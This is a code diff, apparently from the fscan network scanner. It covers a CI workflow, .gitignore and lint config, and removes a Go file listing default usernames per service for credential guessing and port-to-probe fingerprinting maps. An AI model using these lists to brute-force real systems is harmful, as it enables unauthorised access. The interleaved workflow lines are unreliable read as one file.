echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "✅ 代码复杂度检查通过(所有函数≤80)" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
test:
|
||||
name: 单元测试和构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
needs: lint
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
|
||||
- name: 📦 下载依赖
|
||||
- name: 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 🗜️ 安装 UPX 压缩工具
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: ℹ️ 显示构建环境信息
|
||||
- name: 运行测试
|
||||
run: |
|
||||
echo "Go 版本: $(go version)"
|
||||
echo "UPX 版本: $(upx --version)"
|
||||
echo "分支: ${{ steps.project.outputs.branch }}"
|
||||
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
||||
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
||||
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
||||
echo "环境变量:"
|
||||
echo "- GITHUB_OWNER: $GITHUB_OWNER"
|
||||
echo "- GITHUB_REPO: $GITHUB_REPO"
|
||||
echo "- PROJECT_NAME: $PROJECT_NAME"
|
||||
# 排除第三方grdp库测试(存在环境依赖问题)
|
||||
PKGS=$(go list ./... | grep -v '/libs/grdp/')
|
||||
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
|
||||
|
||||
- name: 📊 记录构建开始时间
|
||||
id: build_start
|
||||
run: |
|
||||
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 🚀 测试构建 (Snapshot 模式)
|
||||
uses: goreleaser/goreleaser-action@v5
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release --snapshot --clean -f .github/conf/.goreleaser.yml
|
||||
workdir: .
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: 📊 记录构建结束时间
|
||||
id: build_end
|
||||
run: |
|
||||
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
start_time=${{ steps.build_start.outputs.start_time }}
|
||||
end_time=$(date +%s)
|
||||
duration=$((end_time - start_time))
|
||||
echo "duration=${duration}" >> $GITHUB_OUTPUT
|
||||
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 📋 上传测试产物
|
||||
- name: 上传覆盖率
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
|
||||
path: |
|
||||
dist/
|
||||
name: coverage-report
|
||||
path: coverage.out
|
||||
retention-days: 7
|
||||
|
||||
- name: 📊 统计构建产物
|
||||
id: build_stats
|
||||
- name: 显示覆盖率
|
||||
run: |
|
||||
if [ -d "dist" ]; then
|
||||
total_files=$(find dist/ -type f | wc -l)
|
||||
executable_files=$(find dist/ -type f -executable | wc -l)
|
||||
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
|
||||
|
||||
echo "total_files=$total_files" >> $GITHUB_OUTPUT
|
||||
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
|
||||
echo "config_files=$config_files" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "total_files=0" >> $GITHUB_OUTPUT
|
||||
echo "executable_files=0" >> $GITHUB_OUTPUT
|
||||
echo "config_files=0" >> $GITHUB_OUTPUT
|
||||
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: 检查覆盖率(质量门禁)
|
||||
run: |
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 提取总体覆盖率(awk 整数比较,不需要 bc)
|
||||
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
|
||||
|
||||
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 警告阈值:总体<40%
|
||||
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
|
||||
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
- name: 📊 生成构建报告
|
||||
if: always()
|
||||
run: |
|
||||
echo "# 🎯 测试构建报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 基本信息表格
|
||||
echo "## 📋 构建基本信息" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🌿 **分支** | ${{ steps.project.outputs.branch }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 构建环境信息
|
||||
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 构建时间统计
|
||||
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 构建产物统计
|
||||
if [ -d "dist" ]; then
|
||||
echo "## 📦 构建产物统计" >> $GITHUB_STEP_SUMMARY
|
||||
# 检查是否有新增的未测试文件(0%覆盖率)
|
||||
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
|
||||
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
|
||||
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 文件类型统计
|
||||
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 总产物大小
|
||||
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
|
||||
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
# 总结
|
||||
echo "## 📈 构建总结" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
if [ "${{ job.status }}" == "success" ]; then
|
||||
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
|
||||
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
|
||||
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
|
||||
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 添加快速链接
|
||||
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
build:
|
||||
name: 构建验证
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
needs: test
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
|
||||
- name: 构建验证
|
||||
run: |
|
||||
# 只验证能否编译通过,不需要多平台构建
|
||||
echo "🔨 验证 Linux/amd64 构建..."
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
|
||||
echo "✅ 构建成功"
|
||||
|
||||
+95
-3
@@ -1,7 +1,99 @@
|
||||
result.txt
|
||||
main
|
||||
result.json
|
||||
/main
|
||||
.idea
|
||||
fscan.exe
|
||||
fscan
|
||||
makefile
|
||||
/fscan
|
||||
fscanapi.csv
|
||||
|
||||
# IDE files / IDE 文件
|
||||
.vscode/
|
||||
.cursor/
|
||||
.cursorrules
|
||||
.claude/
|
||||
|
||||
# Local development files / 本地开发文件
|
||||
*.local
|
||||
*.tmp
|
||||
*.temp
|
||||
.env
|
||||
.env.local
|
||||
.env.development
|
||||
.env.test
|
||||
.env.production
|
||||
|
||||
# OS files / 操作系统文件
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# Logs / 日志文件
|
||||
*.log
|
||||
logs/
|
||||
log/
|
||||
|
||||
# Test coverage / 测试覆盖率
|
||||
coverage.txt
|
||||
coverage.html
|
||||
*.cover
|
||||
*.out
|
||||
coverage*.out
|
||||
|
||||
# Test artifacts / 测试产物
|
||||
*_report.txt
|
||||
*_output.txt
|
||||
*_test_*.txt
|
||||
race_report.txt
|
||||
test_output.txt
|
||||
|
||||
# Build artifacts / 构建产物
|
||||
build/
|
||||
bin/
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Web UI build / Web前端构建
|
||||
web-ui/node_modules/
|
||||
web-ui/dist/
|
||||
!web/dist/
|
||||
|
||||
# Go specific / Go 相关
|
||||
vendor/
|
||||
*.test
|
||||
*.prof
|
||||
*.mem
|
||||
*.cpu
|
||||
__debug_bin*
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Performance profiling / 性能分析
|
||||
profiles/
|
||||
|
||||
# Local development tools / 本地开发工具
|
||||
.air.toml
|
||||
air_tmp/
|
||||
|
||||
# Todo files / Todo文件
|
||||
Todo列表.md
|
||||
*todo*.md
|
||||
*TODO*.md
|
||||
|
||||
# Claude documentation / Claude文档
|
||||
.claude_docs/
|
||||
|
||||
# Cleaner plugin artifacts / 清理插件产物
|
||||
cleanup.bat
|
||||
cleanup.sh
|
||||
cleanup_script_*
|
||||
|
||||
# Compilation objects / 编译对象文件
|
||||
*.o
|
||||
*.a
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# golangci-lint v2 配置
|
||||
version: "2"
|
||||
|
||||
run:
|
||||
timeout: 5m
|
||||
|
||||
linters:
|
||||
default: none
|
||||
enable:
|
||||
- govet
|
||||
- errcheck
|
||||
- staticcheck
|
||||
- unused
|
||||
- ineffassign
|
||||
- gocyclo
|
||||
- gocognit
|
||||
settings:
|
||||
govet:
|
||||
disable:
|
||||
- printf
|
||||
errcheck:
|
||||
check-type-assertions: true
|
||||
exclude-functions:
|
||||
- (net.Conn).Close
|
||||
- (*os.File).Close
|
||||
- os.Remove
|
||||
- (github.com/hirochachacha/go-smb2.Session).Logoff
|
||||
- (github.com/hirochachacha/go-smb2.Share).Umount
|
||||
gocyclo:
|
||||
min-complexity: 35
|
||||
gocognit:
|
||||
min-complexity: 80
|
||||
exclusions:
|
||||
generated: lax
|
||||
rules:
|
||||
- path: _test\.go
|
||||
linters:
|
||||
- gocyclo
|
||||
- gocognit
|
||||
- errcheck
|
||||
- linters:
|
||||
- govet
|
||||
text: "fieldalignment:"
|
||||
paths:
|
||||
- vendor
|
||||
- testdocker
|
||||
- image
|
||||
- libs/grdp
|
||||
|
||||
issues:
|
||||
max-issues-per-linter: 50
|
||||
max-same-issues: 3
|
||||
@@ -1,971 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var version = "2.0.1"
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"rsync", "root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
var DefaultMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
var PortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
256: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
257: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
261: {"SSLSessionReq"},
|
||||
264: {"GenericLines"},
|
||||
271: {"SSLSessionReq"},
|
||||
280: {"GetRequest"},
|
||||
322: {"RTSPRequest", "SSLSessionReq"},
|
||||
324: {"SSLSessionReq"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
390: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
406: {"SIPOptions"},
|
||||
427: {"NotesRPC"},
|
||||
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
445: {"SMBProgNeg"},
|
||||
448: {"SSLSessionReq"},
|
||||
449: {"GenericLines"},
|
||||
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
497: {"GetRequest", "X11Probe"},
|
||||
500: {"OpenVPN"},
|
||||
505: {"GenericLines", "GetRequest"},
|
||||
510: {"GenericLines"},
|
||||
512: {"DNSVersionBindReqTCP"},
|
||||
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
|
||||
523: {"ibm-db2-das", "ibm-db2"},
|
||||
524: {"NCP"},
|
||||
540: {"GenericLines", "GetRequest"},
|
||||
543: {"DNSVersionBindReqTCP"},
|
||||
544: {"RPCCheck", "DNSVersionBindReqTCP"},
|
||||
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
|
||||
554: {"GetRequest", "RTSPRequest"},
|
||||
563: {"SSLSessionReq"},
|
||||
585: {"SSLSessionReq"},
|
||||
587: {"GenericLines", "Hello", "Help"},
|
||||
591: {"GetRequest"},
|
||||
616: {"GenericLines"},
|
||||
620: {"GetRequest"},
|
||||
623: {"tn3270"},
|
||||
628: {"GenericLines", "DNSVersionBindReqTCP"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
|
||||
637: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
641: {"HTTPOptions"},
|
||||
660: {"SMBProgNeg"},
|
||||
666: {"GenericLines", "beast2"},
|
||||
684: {"SSLSessionReq"},
|
||||
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
|
||||
710: {"RPCCheck"},
|
||||
711: {"RPCCheck"},
|
||||
731: {"GenericLines"},
|
||||
771: {"GenericLines"},
|
||||
782: {"GenericLines"},
|
||||
783: {"GetRequest"},
|
||||
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
|
||||
888: {"GetRequest"},
|
||||
898: {"GetRequest"},
|
||||
900: {"GetRequest"},
|
||||
901: {"GetRequest"},
|
||||
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
|
||||
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
999: {"JavaRMI"},
|
||||
1000: {"GenericLines"},
|
||||
1010: {"GenericLines"},
|
||||
1025: {"SMBProgNeg"},
|
||||
1026: {"GetRequest"},
|
||||
1027: {"SMBProgNeg"},
|
||||
1028: {"TerminalServer"},
|
||||
1029: {"DNSVersionBindReqTCP"},
|
||||
1030: {"JavaRMI"},
|
||||
1031: {"SMBProgNeg"},
|
||||
1035: {"JavaRMI", "oracle-tns"},
|
||||
1040: {"GenericLines"},
|
||||
1041: {"GenericLines"},
|
||||
1042: {"GenericLines", "GetRequest"},
|
||||
1043: {"GenericLines"},
|
||||
1068: {"TerminalServer"},
|
||||
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
|
||||
1090: {"JavaRMI", "Socks5", "Socks4"},
|
||||
1095: {"Socks5", "Socks4"},
|
||||
1098: {"JavaRMI"},
|
||||
1099: {"JavaRMI"},
|
||||
1100: {"JavaRMI", "Socks5", "Socks4"},
|
||||
1101: {"JavaRMI"},
|
||||
1102: {"JavaRMI"},
|
||||
1103: {"JavaRMI"},
|
||||
1105: {"Socks5", "Socks4"},
|
||||
1109: {"Socks5", "Socks4"},
|
||||
1111: {"Help"},
|
||||
1112: {"SMBProgNeg"},
|
||||
1129: {"JavaRMI"},
|
||||
1194: {"OpenVPN"},
|
||||
1199: {"JavaRMI"},
|
||||
1200: {"NCP"},
|
||||
1212: {"GenericLines"},
|
||||
1214: {"GetRequest"},
|
||||
1217: {"NCP"},
|
||||
1220: {"GenericLines", "GetRequest"},
|
||||
1234: {"GetRequest", "JavaRMI"},
|
||||
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
|
||||
1248: {"GenericLines"},
|
||||
1302: {"GenericLines"},
|
||||
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
1314: {"GetRequest"},
|
||||
1344: {"GetRequest"},
|
||||
1352: {"NotesRPC"},
|
||||
1400: {"GenericLines"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1415: {"ibm-mqseries"},
|
||||
1416: {"ibm-mqseries"},
|
||||
1417: {"ibm-mqseries"},
|
||||
1418: {"ibm-mqseries"},
|
||||
1419: {"ibm-mqseries"},
|
||||
1420: {"ibm-mqseries"},
|
||||
1432: {"GenericLines"},
|
||||
1433: {"ms-sql-s", "RPCCheck"},
|
||||
1440: {"JavaRMI"},
|
||||
1443: {"GetRequest", "SSLSessionReq"},
|
||||
1467: {"GenericLines"},
|
||||
1500: {"Verifier"},
|
||||
1501: {"GenericLines", "VerifierAdvanced"},
|
||||
1503: {"GetRequest", "TerminalServer"},
|
||||
1505: {"GenericLines"},
|
||||
1521: {"oracle-tns"},
|
||||
1522: {"oracle-tns"},
|
||||
1525: {"oracle-tns"},
|
||||
1526: {"oracle-tns", "informix", "drda"},
|
||||
1527: {"drda"},
|
||||
1549: {"WMSRequest"},
|
||||
1550: {"X11Probe"},
|
||||
1574: {"oracle-tns"},
|
||||
1583: {"pervasive-relational", "pervasive-btrieve"},
|
||||
1599: {"LibreOfficeImpressSCPair"},
|
||||
1610: {"GetRequest"},
|
||||
1611: {"GetRequest"},
|
||||
1666: {"GenericLines"},
|
||||
1687: {"GenericLines"},
|
||||
1688: {"GenericLines"},
|
||||
1702: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
1720: {"TerminalServer"},
|
||||
1748: {"oracle-tns"},
|
||||
1754: {"oracle-tns"},
|
||||
1755: {"WMSRequest"},
|
||||
1761: {"LANDesk-RC"},
|
||||
1762: {"LANDesk-RC"},
|
||||
1763: {"LANDesk-RC"},
|
||||
1830: {"GetRequest"},
|
||||
1883: {"mqtt"},
|
||||
1900: {"GetRequest"},
|
||||
1911: {"niagara-fox"},
|
||||
1935: {"TerminalServer"},
|
||||
1962: {"pcworx"},
|
||||
1972: {"NotesRPC"},
|
||||
1981: {"JavaRMI"},
|
||||
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
|
||||
2001: {"GetRequest"},
|
||||
2002: {"GetRequest", "X11Probe"},
|
||||
2010: {"GenericLines"},
|
||||
2023: {"tn3270"},
|
||||
2024: {"GenericLines"},
|
||||
2030: {"GetRequest"},
|
||||
2040: {"TerminalServer"},
|
||||
2049: {"RPCCheck"},
|
||||
2050: {"dominoconsole"},
|
||||
2064: {"GetRequest"},
|
||||
2068: {"DNSVersionBindReqTCP"},
|
||||
2100: {"FourOhFourRequest"},
|
||||
2105: {"DNSVersionBindReqTCP"},
|
||||
2160: {"GetRequest"},
|
||||
2181: {"Memcache"},
|
||||
2199: {"JavaRMI"},
|
||||
2221: {"SSLSessionReq"},
|
||||
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
|
||||
2301: {"HTTPOptions"},
|
||||
2306: {"GetRequest"},
|
||||
2323: {"tn3270"},
|
||||
2375: {"docker"},
|
||||
2376: {"SSLSessionReq", "docker"},
|
||||
2379: {"docker"},
|
||||
2380: {"docker"},
|
||||
2396: {"GetRequest"},
|
||||
2401: {"Help"},
|
||||
2443: {"SSLSessionReq"},
|
||||
2481: {"giop"},
|
